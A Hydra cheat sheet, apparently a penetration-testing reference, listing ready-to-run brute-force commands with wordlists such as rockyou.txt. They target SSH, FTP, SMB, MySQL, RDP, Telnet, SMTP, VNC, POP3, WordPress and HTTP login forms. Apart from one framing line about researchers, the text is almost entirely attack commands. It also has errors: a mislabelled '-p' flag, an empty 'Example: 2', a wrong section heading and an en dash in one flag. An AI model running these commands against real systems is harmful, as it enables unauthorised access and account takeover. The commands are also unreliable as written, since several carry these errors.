Hydra Cheat Sheet

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Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.

This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.

It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

Basic Usage

Syntax

hydra [OPTIONS] IP

Useful flags

  • -h: see the help menu
  • -l <LOGIN>: Pass single username/login
  • -L <FILE>: Pass multiple usernames/logins
  • -p <LOGIN>: Pass single known password
  • -P <FILE>: Pass a password list or wordlist (ex.: rockyou.txt)
  • -s <PORT>: Use custom port
  • -f: Exit as soon as at least one a login and a password combination is found
  • -R: Restore previous session (if crashed/aborted)

Rlogin

Bruteforce RSH credentials

hydra -l username -P rockyou.txt rlogin://ip -V

(use -s for custom port)

RSH

Bruteforce RSH credentials

hydra -L username.txt rsh://ip -V

(use -s for custom port)

SSH

Bruteforce SSH credentials

hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP -t 4 ssh

(use -s for custom port)

MySQL

Bruteforce MySQL credentials

hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP mysql

(use -s for custom port)

FTP

Bruteforce FTP credentials

hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP ftp

(use -s for custom port)

SMB

Bruteforce SMB credentials

hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP smb

(use -s for custom port)

HTTP Post Form

Bruteforce web HTTP form

hydra -l user -P /usr/share/wordlists/rockyou.txt $IP http-post-form "<Login Page>:<Request Body>:<Error Message>"

(use -s for custom port)

Example: 1

hydra -l user -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login.php:username=^USER^&password=^PASS^:Login Failed"

Example: 2 (Brute forcing HTTP Basic Authentication)

WordPress

Bruteforce WordPress credentials

hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

(use -s for custom port)

Windows RDP

Bruteforce Windows Remote Desktop credentials

hydra -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$IP

Telnet

Bruteforce Telnet

hydra -l root -P rockyou.txt [-t 32] <IP> telnet

SMTP

Bruteforce SMTP credentials

hydra -l <username> -P /path/to/rockyou.txt <IP> smtp -V
hydra -l <username> -P /path/to/rockyou.txt -s 587 <IP> -S -v -V 
#Port 587 for SMTP with SSL

VNC

Bruteforce VNC credentials

hydra -L users.txt –P rockyou.txt -s <PORT> <IP> vnc

POP3

hydra -l username -P /usr/share/wordlists/fasttrack.txt pop3://ip:port